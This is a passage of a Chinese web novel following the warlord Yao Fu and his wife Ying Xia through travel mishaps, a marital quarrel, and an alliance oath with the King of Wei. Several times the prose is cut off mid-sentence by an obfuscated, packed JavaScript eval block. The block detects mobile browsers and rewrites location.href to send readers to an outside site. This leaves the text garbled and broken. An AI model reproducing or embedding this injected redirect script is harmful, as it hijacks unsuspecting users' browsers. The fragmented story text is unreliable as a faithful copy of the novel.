早知道便不给那些诗人塞银子清走了,还不如留着他们在这里诗兴大发临江远眺堵着姚复的路。 “不往前怎么看得清楚?”姚复有些讶异地问应瑕。 “你掉下去怎么办?” 姚复哂笑一声:“怎么可能!这玩意不刚修缮过?” 好像刚有三五年呢。说着他便上前拍了拍那栏杆,以此证明这很安全。姚复拍了拍栏杆,扭头笑着对应瑕说:“你看,很结实的。” 一种不妙的预感涌上心头,应瑕的眼皮子跳了跳,随后她有些焦急地沉声道:“你快过来!” 姚复有些迷茫地看了看应瑕,一只手还扶着栏杆,正待往楼里走的时候突然左脚绊右脚,猝不及防倒了下去,他下意识扶了一把栏杆,整个人的重量也就势压在了栏杆上,紧接着姚复听到身下传来一声极轻微的木料断裂声。 还来不及反应,栏杆就断裂开来,姚复登时感觉重心不稳,整个人竟真快从楼上跌了下去——好在行军打仗叫他练出了敏锐的反应力,在身体悬空的瞬间便抓住了旁边摇摇欲坠尚还完好的栏杆。 应瑕吓了一跳,连忙上前把他拉了上来。 “得亏你是齐王,没人敢问你的责。”应瑕悻悻说。 姚复坐在地上,心有余悸地说:“这质量真是不行,年底考核肯定不过关的。谁管财政来着?回头得拨一批钱重建啊。” 如今这景致真是看不下去了,姚复便拉着应瑕去了古琴台,结果观月湖的时候失足跌进了湖里;在晴川阁上在楼梯上摔了一跤,渡江回长沙时险些翻了船。 看样子华盖星的威力不容小觑。姚复花了两个月在岳阳楼滕王阁橘子洲都感受到了自己运气到底多差,在浔阳城街上遇着有人斗殴去拉架还被误伤了。 应瑕一边替他处理伤口,一边无奈地说:“要不咱们还是别出去玩了。回长沙吧……” 不然她都害怕姚复一个不小心真倒霉死了。 姚复有些不甘心:“这都两个月了,怎么能还运交华盖呢?肯定快转运了!再者陈重熙不还说什么夫妻宫有变,咱们不还好好的。我看他说的也不准。” 应瑕不置可否。这两个月来姚复有一半时间在和她唱反调,她已经是极力克制才没谋杀亲夫了—— “你还打算去哪?”应瑕不动声色地把绷带勒紧一点,故意让姚复疼的抽了一口气。 这些日子鄂州和赣州几乎逛了个遍,雒邑那边太过危险,启封又成了一片废墟,能去的地方便只剩巴州了。 由赣州入巴州又不是很容易。 “我想去武侯祠。”姚复斟酌着开口。 巴州山遥路远,光是从浔阳到锦官城估计都得两个月,由秦州入巴州更是难如登天。 这一路上,也不知道应瑕愿不愿意陪他。 应瑕笑了笑,温柔地说:“你想都别想。” “明天就给我回长沙去。” “啊……”姚复有些失望地拉长声音,应瑕当即冷了脸说道:“你每每去一个地方总说不如所料,为什么还要冒着危险到处乱跑?” 姚复笑了起来,按着应瑕的肩膀,弯着眼睛解释:“我爹老拘着我不准出去,年少时不曾游山玩水,只好现在弥补缺憾了。” 现在姚老头身体羸弱,自然无暇管教幼子,每日也就待在军营里看供军士赏乐的乐伎弹琵琶唱小曲,或是听哪个曾经说过书的士兵讲故事。也算是颐养天年了。 应瑕神色微微松动,但还是努力板着脸说:“我不管,反正再往山里去了。必须回长沙。” 然后她就佯装恼怒,背过身去了。 “好好好,你别生气啊。我们明天就启程回长沙。”姚复见她好像生气了,马上松了口,连忙去劝应瑕了。 第二日一回到长沙,姚复挥手打发了应瑕,先神神秘秘找到了陈重熙。 他显然放不下自己的大夫包袱,自从回来发现了一身子毛病的姚老头,就天天缠着他施针把脉熬药。姚复一回来没在军医营里见着他,没在参谋营里找到他,偏偏就在姚老头那儿找到了。 他们夫妻都蹲在地上看姚老头的情况。 姚复嘴角抽搐。知道的都知道,不知道的还以为姚老头是陈重熙他爹呢。 “爹,又哪儿生病了?”姚复带上专门修的小院的门,微蹙眉头问道。 姚老头摆摆手,口中含含糊糊地说:“没病,没病。” 听说老人年纪大了都这样,姚复只好蹲下来问陈重熙:“陈先生,我爹什么毛病?” 陈重熙有些迷茫地抬起头,他手里拿着一根半透明的鱼线,正往手指上缠,闻言手上动作停顿一下,随后迷惑地说:“姚公好着呢,哪有什么病……我就是看他先前患了个罕见的病,如今身子亏虚,时而来研究、咳,给老人家补补。” 姚复微微眯起眼睛,审视了陈重熙两眼,后者得体的微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397739|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,找不出一丝破绽。半晌他才收回怀疑的目光,拍拍衣摆站起身来:“行吧。我这几个月当真是运交华盖。你告诉我什么时候适合出去玩?” 陈重熙脸上的笑容似乎要裂开了,他是能通过星象看透人间祸福,也能勉强窥探一眼姚复的命运,但要说出来那是真难。横竖都是死路。 “大王要出去玩……大约得等天下宴然的时候了。”陈重熙搜肠刮肚地组织了一个合理的答案,“您这几个月能转运,但是马上要打仗不是。” 姚复叹了口气,不再过问,转身走了。姚老头却猛然坐直身子,满脸好奇如幼儿一般问道:“诶陈大夫,你看我能活多少岁?从前我竟还不知道你会占星,你俩上次避着我说话,不够义气啊。” “您是个长寿之相,怎么着也能抱上重孙子了……”陈重熙收拾着手里的线头,漫不经心地回答,忽而抬头看向姚老头:“姚公,大王不是不准你问这个?!” “我不告诉他就是。你快再给我把把脉,好捣鼓些药出来,我从前见过一个婶子得一样的病,她没我命大,撑了没几天就去了……”姚老头笑着再度把枯瘦的手腕伸过去。 这病竟还能死人?如今见到的也不过几例,并不能确定致死率多高,若是传播开来可就麻烦了。陈重熙一边心惊胆战地想着,一边赶紧又给姚老头把了一遍脉。从前这病未曾传播开来,药物也是半途而废,这次不得不把制药提上日程了。 万一屈郢那边也出现了类似病例,被他拿来利用可如何是好。 姚复在浔阳城街上被飞过来的刀子划开的伤口足有一指长两寸深,花了近一旬才愈合。也就是在应瑕给他上祛疤药的第一天,解斛珠叫人把魏王的信送过来了。 那个魏王确定要与他结盟,不过要在启封城详谈。 他也算拿出了诚意,愿意冒着危险跑到别人的地界上去谈结盟。那姚复也得拿出诚意来了——他让人从巴州弄了一批蜀锦,又花大价钱从合浦找了几颗南珠,挑了最次的两颗留给那魏王,品相好的几颗送给了应瑕应琼几个女眷做装点。 岭南三郡见天高皇帝远的,干脆全都投奔了姚复。只剩下滇州和交趾有土司,不见归顺哪个势力,非要独大一方。 姚复先带人驻扎在了义阳,准备先看看那个魏王的动向。斥候传来消息,说这人并未在启封北部驻兵,只带了十几个贴身卫士。同他一起前来的还有夫人陶氏和长子魏讯。 看着确实是没什么威胁。 “先按兵不动。”应瑕按住姚复将信件往烛火边放的手,转而吩咐斥候,“叫人说,齐王在路上因为一些小事被绊住了脚。” 斥候应声离开,姚复弯着眼问道:“有什么说法?” “晾他十天半个月,看他是真心还是假意。”应瑕拿过信件,把纸张凑近火舌,“要是他敢投奔屈郢,马上趁他离开发兵灭掉魏国。要是他愿意等着,那再考虑结盟。” “啧啧啧。”姚复禁不住咋舌,“你当真是万里挑一的奇女子啊。” 应瑕笑了笑,火舌吞噬了纸张,跳跃在她幽深的瞳仁里。 33. 第33章 巴州前两个月终于被拿下了。此处地势险峻,北边全是绵延峻岭,朝廷派来的兵力根本到不了地方,至于中心的锦官城却是鱼米之乡,哪天兵败了躲在巴州再好不过。嗯,没兵败也想躲进去。 韩玉笙没老实撤兵回长沙,带着人又往滇州去了,司空谷也跟着去守城了,最终回来的只有新涂和陈重熙。 因为什么“仙人抚我顶”的事情,姚复气的三天吃不下饭,话也没和应瑕说一句,连新涂和陈重熙挥师回长沙都没去迎接。 应琼一拿到新涂要回城的消息,老早就站在营帐门口等着。 新涂一回来,见着应琼站在门口,当即也管不了那么多,立即下了马与应琼抱在一起互诉衷肠了,后面的兵士有一说一都要么垂下头要么别开眼神。陈重熙拉着韩玉筝从马车上下来,看见这两人也有些不自在,但也不好看着两人一直在门口堵着。 “怎么办啊。”陈重熙轻轻拉了拉韩玉筝的袖子,后者微微抬头看天,不做任何回答。 无奈之下陈重熙只好硬着头皮拉着妻子走到门口。门口拢共就那么大,新涂两人又站在正中间,他们不好从旁边硬挤,只好打断两人的相思话语。 “咳,大王怎么没来?”陈重熙一手握拳,放在唇边不轻不重地咳嗽一声,“他不是回长沙了?” 姚复对手下的谋臣武将都是很重视的,尤其是对新涂这个发小,每次回营都得亲自来接。 新涂似乎也意识到了不对,一双眼中果然浮现了浓重的疑惑,随后松开了应琼,自言自语道:“也是……” 旋即他招招手,叫来一个卫士,问道:“大王没回长沙?” 应琼忽然脸色一边,伸手挥走了那卫士,拉着新涂压低声音说:“将军别问。大王和姐姐吵架了,待在营帐里好几日不出门了,话也没说过一句。前两日有个不知好歹的进了营帐,大王当即摔了不少东西,叫人把他拖出去斩了……现下哪有人敢去触霉头。” 陈重熙和新涂对视一眼,随后追问道:“应姑娘不如仔细说说他们为何吵架?” 当初刚成婚没吵架,成婚一两年也没吵,姚复肆意行事没吵,花名乱飘也没吵架,如今倒莫名其妙吵起来了。 应琼脸颊上微微染上红晕,又略带歉意地垂下头盯着韩玉筝的鞋尖,才有些歉疚地说:“我不知道。我姐姐也未曾告诉我。” 新涂有些惊诧。看样子这回这两人闹的够大,不见外人也就算了,连亲妹妹也不肯倾诉。 “新将军,你还是趁早去劝慰大王——封坛拜将的事真不能再拖了。”陈重熙压低声音,“这几日是黄道吉日,趁早办完事情,好图个彩头。” 于情于理新涂实在是最合适的,他跟姚复感情深厚,只等应摇光和应瑜从东边过来,便又能添一层姻亲关系。陈重熙对这两人有点畏惧,自然不敢去打头阵接这个茬。虽然都说清官难断家务事,这玩意外人也不好插手,但封坛拜将真拖不得了。 如此新涂也不好说什么。这事还得交给兄弟。 姚复这几天看来确是发了很大火,营帐附近没什么卫士,方圆十几米也不见有人,路过的兵士都要可以绕个远路。 新涂只好捏着鼻子进去了。 好在姚复看着还是很正常,此时正拿着一卷不知道什么年代的哪家兵书在看,见有人进来便阴测测地抬了头瞪过去,看清楚是新涂之后又马上露出一个阴测测的笑,空洞洞地说:“你回来也不跟我说一声啊?” 其实老早就递了信件,姚复不见人,没收到罢了。 新涂大马金刀地坐到他对面,下意识用手扇了扇笔尖萦绕着的一点若有若无的湿气,说道:“兄弟,你说说嫂子干什么了,能把你气成这样?” “呵呵呵……”姚复又阴测测笑起来,随后猛然收起脸上的笑容,狠狠丢了兵书,使劲一拍桌子:“她根本不在乎我!” “……”新涂下意识后仰,深深吸了一口气,说道:“嫂子那能不在乎你吗。你们好歹也成婚三年了,养个畜牲都该有感情了,何况是人呢。” 姚复又砰一声拍了一下桌子,又把新涂吓了一跳。新涂闭了闭眼,姚复果然绷不住地喊道:“她在外人面前都不维护我!” “你、你说说到底是个什么事……”新涂不动声色地又往后坐了一点。 想必不是什么大事。 姚复冷哼一声,将那天的事添油加醋给说了一遍。 果然不是什么大事。 “姚兄,你一个大男人,不要跟女人一般见识。”新涂撑着额头,勉强憋出一句。 也不知道这种小事怎么看出来应瑕不在乎他的。要是真不在乎他还至于舍了命拉十几个人以身入局去救姚复的命吗。 “这是男人女人的问题吗!你不要拿那套男男女女的理论往我俩身上套!珠英是一般女子吗!”姚复再次一拍桌子。 话题也不知怎么跑偏的,新涂忽然有些绝望——陈重熙好像说过他今天与人有口舌之争。 新涂拿起桌上的一只杯子,在手心攥了又攥,姚复瞪着眼睛看着他,好像在逼着他给个回复。过了好一会儿,新涂才默然开口:“嫂子当然不是一般人,但到底是你妻子。日子该过还得过,你要不——” “和离!我要和离!”姚复一拍桌子站起来,打断了新涂的话。 新涂只得把嘴里那句“服个软”咽回去了,也连忙起身去劝:“不至于不至于……” 姚复一边作势挣扎一边继续闹,忽然营帐门被人呼啦一下掀开了,应瑕略带愠怒的声音传进来:“你想干什么?” 应瑕显然刚和应琼沟通完,终于发现了问题所在,急匆匆就跑过来,没成想还没进门就听见丈夫在那闹腾。饶是他再好脾气,就算是观音下凡也起了怒火。 屋里的两人都愣住了,姚复急忙甩开新涂,说道:“当然是想劝新涂和咱妹和离啊。还能怎么着,你看看新涂天天出来打仗的,跟赤玉十天半个月见不了一次——” 应瑕微微笑了一下,眼见着新涂要发作,姚复赶忙躲在应瑕身后,朝着新涂比了个口型:“谢了兄弟。” “好了,等父亲回来你们再说成婚的事。父母之命媒妁之言——”应瑕刚撩起的怒火被姚复浇灭了大半,微微抬起头对新涂说。 陈重熙见问题解决地差不多了,探头进去,问道:“大王,封坛拜将的事考虑的如何?” 姚复闻言转过头去:“韩玉笙回来没?回来了明天就宰猪杀牛犒赏三军封坛拜将。” “他跑滇州去了,还说从滇州回来就打秦州。”陈重熙眯着眼睛,笑着拱火。 “疯了是么。”姚复暗骂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407076|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,“那等他回巴州,截了他的路,把他给我绑回来。等他回来再说拜将的事。” 韩玉笙是真自信过头了。姚复不是不信他打不下秦州来,只是真拿下长安灭了大梁屈郢更是放不过他——从启封回来后屈郢北上又拿了四个州郡,现下招到一个什么将军,带着人在赣州附近不住发兵骚扰。 “对了,您最近运交华盖,最好别做什么重大决定。夫妻宫也有异变,尽量不要吵架。”陈重熙说完之后又放下帘子出了去。 姚复叹了口气。原本还想接着打定州呢,这下可好。 “既然如此,这几个月也好休养一下。你陪我出去玩玩好了。”应瑕看着姚复有些惆怅的神情,斟酌着开口,随后又补了一句:“我没想到……罢了,我真不是不在乎你。你也别介怀。” “怎么会呢。”姚复笑起来,“你想去哪玩,屈子祠、岳阳楼、或是滕王阁?巴州的武侯祠也不错……” 应瑕揉揉眉心:“我无所谓,你随便。” 姚复的脸有些尴尬地怔了一下,随后笑着说:“那我们到黄鹤楼去吧,不是说什么天下第一楼?如果有机会,以后我们去金陵凤凰台……” 应瑕扫了新涂一眼,他正巧也听不下去,连忙出去了。 运交华盖是真的一点没错,陈重熙或许真能从天象变化中看出人间祸福。 姚复刚进了汉昌城,方走到街上就一脚踩上了水坑滑了一跤,若不是应瑕眼疾手快拉了他一把,身上这件新裁的袍子就得沾上泥水—— “你走路看着点。”应瑕小心的绕过地上的水坑,蹙眉说道。 姚复站定身子,冷哼一声作为回应。 两人先在街上晃了两圈,姚复对那些小摊贩倒是比应瑕更有兴趣,一路上买了不少什么胭脂香粉香囊珠簪。 小贩们都当是哪个俊俏公子给自己的妻子买东西,都热络的推荐自家产品,每次都会被以不适合拒绝。 卖胭脂的是一对母女,那老板娘被拒绝了也不恼,倒是小姑娘说了一句:“这桃花红岂有不搭的道理,明艳鲜活,谁家姑娘都喜欢呢。” 姚复在胭脂铺上挑了好几种颜色,总是挑不到满意的,一听小姑娘的话,忽然想到了主意——何不叫老板替应瑕搭配胭脂? 于是他放下了手里的盒子,强行把一边兵器铺的应瑕拉了过来,后者满脸不情愿,勉强从袖子里掏出一块银子来丢到铺子上。 “两位娘子,我夫人带来了,你们看看她适合什么样的胭脂?”姚复搭着应瑕的肩膀,笑着问。 那对母女看着应瑕的神情吓了一跳——她手里甚至还提着一把刀子。随后老板娘在铺子上选出来一盒艳红的,拉过闺女的手臂,在她雪白的手背上抹了一点,那胭脂当真和鲜血一样,倒是配应瑕的紧。 “夫人有巾帼英雄的风范,配这红色的真正好……”老板娘勉强笑着回答。 应瑕也拿手指挖了一点胭脂,蹙眉看了看,又在鼻尖嗅了嗅,最终还是老实抹上了嘴唇。好在她出门从来不爱上妆,这一点东西也不好浪费。 “你不是要去黄鹤楼,快走吧。”应瑕皱着眉从方才拿的刀上看自己的倒影,说道。 还是不太习惯上妆。 姚复也深深叹口气,说道:“你果然还是更适合用血色上妆。走吧。” 34. 第34章 那个魏王确实坐不住了,但他没有转头投奔屈郢,反而催着解斛珠又给姚复写了好几封信,不住询问姚复什么时候到启封。 第五封信下来时,姚复终于动了身。 魏王长一张圆脸,不止这张富态的圆脸,他的眼睛、鼻头都是圆的,身材也不高大,生的也很圆润,皮肤也白皙,脸上也没有胡子,活像年画里的招财童子。只是他那一双眼里闪烁着精明算计,看着不像什么老实人。 不过无所谓,这年头没有脑子不是什么好事,会算计的才能活得久。 魏讯不似他爹,长的瘦高,面相也是严肃又古板。两人坐在一张桌子后头,全然不像父子。 姚复用余光打量了他们两眼,大步走到魏王对面的桌子后坐下,举起桌子上的酒杯,冲着他们有些歉意地笑了笑:“路上被一些小事绊住了脚,魏王见谅。” 接着他就将杯子递到唇边,将酒液一饮而尽。魏王微微愣了一下,方才反应过来是齐王终于到了地方——姚复来的突然,没人进来通报,便也双手举着杯子,敬了一礼:“不敢,不敢。今日一见齐王,当真是如传言一般,气宇轩昂、人中龙凤啊。” 姚复已经能想到什么传言了,尴尬的笑了一下,不再说话了。 偏偏应瑕一进城就跟着解斛珠在重建好的启封城里到处乱逛了,让自己来应付这种场景,真是难为人。 “你总得学着应付这些老滑头。”应瑕坐在马上,临行前的话又回荡在耳边,“乖啊,自己去。我跟斛珠在城里玩一圈儿。” 姚复有些烦闷的叹口气,准备先开口,毕竟是他请魏王来结盟的。 “齐王啊,不知这结盟事宜,具体如何安排?”还不等姚复开口,魏王就察言观色地看出来齐王心情不佳,结合先前斥候传来的“齐王夫妻不和”的消息,心里顿时有了想法,直叹家家有本难念的经,干脆先开了口。 姚复把酒樽放在桌上,微微弯起眼睛,脸上浮现出一抹微笑,说道:“天下形势,想必魏王也是明白的。朝廷的势力可谓江河日下,秦州到底还有不少精兵,如果真要卷土重来,齐、魏首当其冲……” 魏王那张精明的脸上浮现出浓厚的困惑,姚复不得不止了话音,魏讯极其嫌弃地看了他爹一眼,从鼻腔里发出一声不屑的冷哼。 “咳。魏王觉得如何?”姚复试探着问了一句。 魏王收起一脸疑惑,一脸严肃地坐直了身子,板着脸对姚复说:“齐王真是有深谋远略!在下佩服,佩服!” 姚复:“……” 姚复无奈的摆摆手:“魏王有所不知,启封城是在下故里,方才重建完毕。不知阁下与夫人可否游玩过?” 魏王从前是个商人,满脑子想的都是赚钱,对政治形势不敏感,一听姚复的话也不懂其中深意,只小心回答:“哎哟,这些日子都专等着您来,未曾在城里玩过,不知……有什么说法?” “魏王不如先带着夫人出去赏玩一圈,大约也就明白了。”姚复皮笑肉不笑地回答。 魏王若有所思地点点头,扭头对魏讯说:“儿啊,你先和齐王聊着,莫惹了人家生气,我与你娘出去。” 魏讯瞪着一双死鱼眼,机械的点点头。魏王满意一笑,起身离开了。 “跟外行人说话真是麻烦。”姚复小声抱怨一句,随后对魏讯说:“魏公子,魏王不懂这些事,你总懂罢?” 魏讯颔首,随后言简意赅地接着姚复方才的话说:“齐王与楚王有怨,只是楚王不敢对大王轻举妄动,受到两面夹击的还是魏国。” 姚复心中讶异,魏王如此不明事理,魏讯却一点也不似他,对天下形式了解颇深,也算是歹竹生出了好笋。既然魏讯能理解自己的意思,想必也有自己独到的见解。思及此处,姚复对魏讯不由多了几分欣赏。 “魏公子,结盟一事不宜迟。我会让人准备三牲,待到黄道吉日便歃血为盟。”姚复微笑着说道,“只是我们还得商议对战的事宜。” 要不了几日,屈郢就得再打过来。势单力薄自然无法对抗屈郢怪物一样的军队,还是得声东击西才能有一敌之力。 “我会劝说父王在北边牵制屈郢,给大王留出喘息的机会。”魏讯微微抬起眼皮,冷冰冰地说。 姚复忽然觉得这对父子关系奇怪,可到底是人家的家务事,自己不好插手这两人的关系,口中却半开玩笑地说:“你和魏王关系不好啊?要不我替你做掉他?” 魏讯手一抖,杯子掉在桌案上,又滚落在地噼里啪啦摔了个粉碎。 “多谢大王好意。”魏讯声音略显艰涩,“我并非魏王亲子,他死了我也不能继位。” 这么一说姚复就明白了七八分。难怪这两人言行举止形容外貌几乎无一相似,魏王带着长子过来想必也是想作为质子,好把这个外人彻底踢出魏国的权力中心。 不过是个刚见过一面的陌生人,姚复还没善良到为了一个陌生人打抱不平。再者留着魏王比杀掉他更好,魏国势力更庞大不是什么好事。姚复笑着看着手里的杯子,不过强行留下魏讯也许不错,他倒是个有能耐的。 正愁手下的谋士不够用呢。 “大王,夫人回来了。”解斛珠从外面探头进来,对着姚复说。 姚复微微一怔,放下手里的杯子,起身对魏讯说:“失陪了。” 紧接着就起身出了门,应瑕连门也没进,正骑在马背上,马儿在一棵树底下垂头吃着草。 “玩够啦?”姚复真心实意地笑起来,全然顾不上脸上有些僵硬发酸的肌肉,又俯首拉起缰绳,就势蹲在地上拨弄野花,口中问道:“启封怎么样?我就说不错吧?” 应瑕略微思索一下,搜肠刮肚刨出来几个词,才说道:“景致不错。只是重建之后没了古韵。” 姚复抬眼看了看她的脸色,仍是淡然如风,没什么异常,便又低下脑袋。只是他心里明白,应瑕不喜欢启封重建后的景色,不过是故意说些中肯的话好不伤了他的心罢了。应瑕怎么说也无所谓,启封重建完确实不复从前繁华,也失了那股从小到大熟悉的韵味,只有汴河还是汴河,繁山还是繁山。 一切都还在,好像一切又都不在了。 应瑕从马背上下来,先问了要事:“谈的怎么样?” “还行吧。我把魏王支开了。”姚复随意说道,“这魏王当真是走了狗屎运才能成一方之主吧。一问三不知的,看着人模狗样,还没我爹懂得多。” 应瑕蹲下身子,双手托起姚复的脸,迫使他抬起头来,拇指轻轻按压着他腮边的肉,说了一句:“你还是不要笑了。脸都僵了罢。” 姚复下意识想笑一下,被应瑕的手指强压着唇角按下了。 “与人应酬不必赔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在姚复眼里最多算个普通的、可有可无的程序,在魏王眼里却是神前宣誓的庄严仪式。 他害怕自己口血未干便背信弃义,引来神罚,对这种古法多少有些不情愿。原先只当随便说个誓言就罢,谁知还要走完全部流程。 姚复有些奇怪地看了面色不虞的魏王,没说什么,就着应瑕的手抽出长剑,走了下去。 侍从按住那头毛色不怎么纯净的黄牛——祭祀一般都要用毛色纯净的白色小牛的。 姚复举剑割下牛耳,黄牛立刻哀嚎起来,侍卫眼疾手快地把牛拖走,姚复顺手把耳放上托盘,重新走上了祭坛,用拇指蘸了鲜血,抹在下唇上,又抬首示意魏王。侍从把牛耳放在了他面前,魏王只好咬着牙涂了血。 “好了,说誓词吧,魏王。”姚复看了一眼应瑕,接着说。 他对结盟的什么仪式没有要求,不然也不会带着应瑕过来。不过应瑕极其重视礼法,一定要亲眼看着程序走完。 魏王只好咬着牙宣誓:“孤愿意与齐王结盟,三年为期,同生共死,共御外敌……” 三年确实有点长了。 姚复无聊地看着魏王,等他说完。 “啧,这玩意真是麻烦。” 仪式一做完,姚复就不耐烦地扯着身上繁冗的服饰,对着应瑕抱怨:“又不是诸侯会盟,一定要这么正式?” 应瑕没说话,绕着他一圈,帮忙脱了宽大的外袍抱在怀里,免得姚复绊倒。 35. 第35章 “魏王反应不对,多留个心眼。”应瑕熟稔地把袍子在手臂上叠了几次,顺口对姚复嘱托了一句。钻进了马车,姚复也紧跟着坐下了。 姚复心下有些奇怪,魏王的奇怪表情最多也只能代表他嫌弃这些歃血为盟的旧习吧,毕竟也没几个人愿意往自己脸上抹牛血。这些仪式到底是不是昭告神明姚复不知道,反正现下已经不时兴了——都是春秋时期的礼仪了。 思及此处,姚复舔舔唇上腥甜的血液,满脸好奇地问:“你怎么看出来的?嫌弃那牛血应当是人之常情罢。” 可是往嘴唇上抹血真的好帅,不知道应瑕有没有被迷住。唉,真想看应瑕往下唇上抹血。姚复不禁心中有些懊悔,托盘里那牛血已经凝结发黑了,也不好再取来给应瑕用了。 “他不敢歃血,也不敢在神前宣誓。口血未干就撕毁盟约,会遭到神罚。”应瑕那双幽幽的瞳仁转向姚复,定定盯着他,看不透想法。 姚复无端地笑出来:“神怎么会管人间的事。这么荒谬的东西怎么会有人信。” 应瑕闻言也笑了笑。姚复方才想起应瑕也是商人之子,商人如魏王、应摇光这般有庞大家业的,大概都会有患得患失的毛病,因而对什么鬼神之说、风水玄学都非常讲究且信任。好在应瑕并不是斤斤计较之人,不过是某些地方比较严谨——譬如方才的“会盟”。 对鬼神之说什么态度是别人自己的事,自己只要“敬鬼神而远之”便好。 “要做掉魏王吗?”应瑕忽然开口问道。 姚复抬起眼睛看向应瑕的脸,见对方一脸严肃,不由纳罕:“做掉他干什么?” “看他不爽。” 应瑕脸上少有的浮现出一抹恼怒,两条秀气的眉毛都拧在一起,连唇线也绷地紧紧的。 八成是受了什么委屈。 “不急。”姚复随便拆了车里挂着的一串坠着流苏的装饰的珠子,笑着回应,“要是你跟他有什么仇怨,撕破脸了再计较。你要把他千刀万剐五马分尸我都没意见。” 刚结盟就去找事确实有点不妥。 应瑕抿唇,马车恰恰停了,她随手把袍子丢回姚复怀里,起身便下车走了。姚复心中有种不太美妙的预感,连忙掀开车帘子跟着下了车,果然看见应瑕跟解斛珠站在一处密谋了什么,紧接着应瑕翻身上了解斛珠的马,两人一同往集市的方向去了。 看样子得在启封多待几天了。姚复麻木地挥手拍散面前马蹄扬起的尘土。 到了晚上应瑕若无其事地回了家,心平气和泰然自若地坐下开始吃晚饭。看样子把受的委屈全发泄出去了。眉目之间那一抹恼怒烟消云散,还多了两分喜悦。 “话说……你和魏王有什么仇怨?他欺负你?”姚复放下筷子,小心翼翼地查看应瑕的脸色。 应瑕满脸和煦地微笑一下:“不是什么大事——前日在街上时碰见了他,斛珠被调戏了两句。” 被调戏的大约不止解斛珠。应瑕定然当场翻了脸,把那魏王吓得不轻,以至于早上歃血时脸色都发白。 姚复磨了磨后槽牙,压着内心的恼怒说:“等时机到了,你看我弄不死他……” “没必要。”应瑕往嘴里塞了两块肉,“我教训过他了。这肉做的真不错……” 姚复夹了一块肉,闻言有些诧异地抬头看了应瑕一眼。两个女人教训带了十几个侍卫的肥胖男人,实在令人难以相信。况且这个时候去教训他,对名声也不怎么好,尽管他不信什么神罚,早上刚结盟,下午就出尔反尔,影响很不好。 “你怎么教训他的?”还好姚复也不怎么在乎名声。 应瑕回想起教训魏王的场景,面露喜色,甚至开心地微笑起来。她一边继续往碗里扒菜,一边微微低着头说:“我和斛珠买了麻袋,趁他落单,把他拖进巷子里打了一顿。” “哦——”姚复拖长声音,放下筷子,“不错啊。干的漂亮。那咱们得晚点回长沙了,魏王被打了肯定要找事。” “知道了知道了。”应瑕埋头吃着饭,“你快走吧,别影响我吃饭。” 姚复一时无言以对,只好站起身子,拍拍衣服,回屋里睡觉去了。 果不其然,魏王顶着一张肿的像猪头的脸,大早上就来拍姚复的门。 府里的下人开了门,看见这张脸都掩着唇嗤嗤地笑,又不敢当着人家面笑出来,只好背过身去,一边往主卧跑一边小声笑。 “大王,魏王来了!”婢子象征性拍拍门,听到里头模糊的应答之后便飞速跑到了一边,跟小姐妹说魏王的惨状。 姚复随便穿了套衣服,连头发也没束起来,潦草的打着哈欠出了门,对下头的婢女说:“看好夫人,别让她出来。” 婢女应了一声,小步到了应瑕的房间门口守着。 姚复看着魏王那张猪头,心里明白了为什么那些婢女都带着笑——他自己心里也觉得好笑,只是照样故作惊讶地问道:“啊呀,魏王这是怎么啦?” “这启封城的刁民真是无礼至极!昨日我不过是想去那会香楼听个曲子,竟被人拖进巷子不由分说打了一顿!”魏王恼怒的指着自己的脸,“您看看,您看看我这脸!这在齐王治下发生的事,你可得好生处理!” 怪不得能被寻到落单的时候,敢情要去青楼,特意支开了侍卫和夫人啊。 “哎哟,那我可得好好处理——”姚复一拍手一跺脚,演的很是痛心疾首,“我在启封城住了二十年,竟不知还有这等恶徒。您等着,我定然将他绳之以法。那么——您还记得他长什么样吗?” 魏王对上姚复略带戏谑的目光,心中有些怀疑,但到底还是拍散了那一丝疑虑,仔细复盘昨日的经历,才支支吾吾道:“更深露重,又喝了酒,自然记不清了。不过这人身上没有脂粉味,定是个男人!” 姚复差点没笑出来,脸上的表情险些绷不住,只好不住捶打胸口,强挤出一些眼泪来,方才说道:“魏王足下,这事可不好弄啊。你也说不出他长什么样,这启封城男人那么多,难不成还要一个个找出来盘问?再者,说不定你做了什么事惹的天怒人怨——” “诶我想起来我夫人昨日回来说——” “齐王!”魏王有些心虚地打断了姚复的话,“此事也就过去了,您日后加强启封的吏治即可,还是不要让女人管政。我还有事,便先告辞了。” 话还没说完他便匆匆抱拳行礼离开了。 应瑕还真是率真,有仇绝不晚报,真是举世也难找这样的女子了。 “你拦着我作甚……”应瑕不知何时出现在姚复背后,幽幽地开口说。 姚复感到背上的汗毛一根根竖起,随即转过身去,赶紧编造了个理由:“你把他打成这个鬼样子,还要来看?万一他认出你来怎么办?” 其实是怕应瑕一时兴起或者怒火难平再把他拖进来打一顿。 “那下午回长沙吧。”应瑕垂下睫毛,“我有点想银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 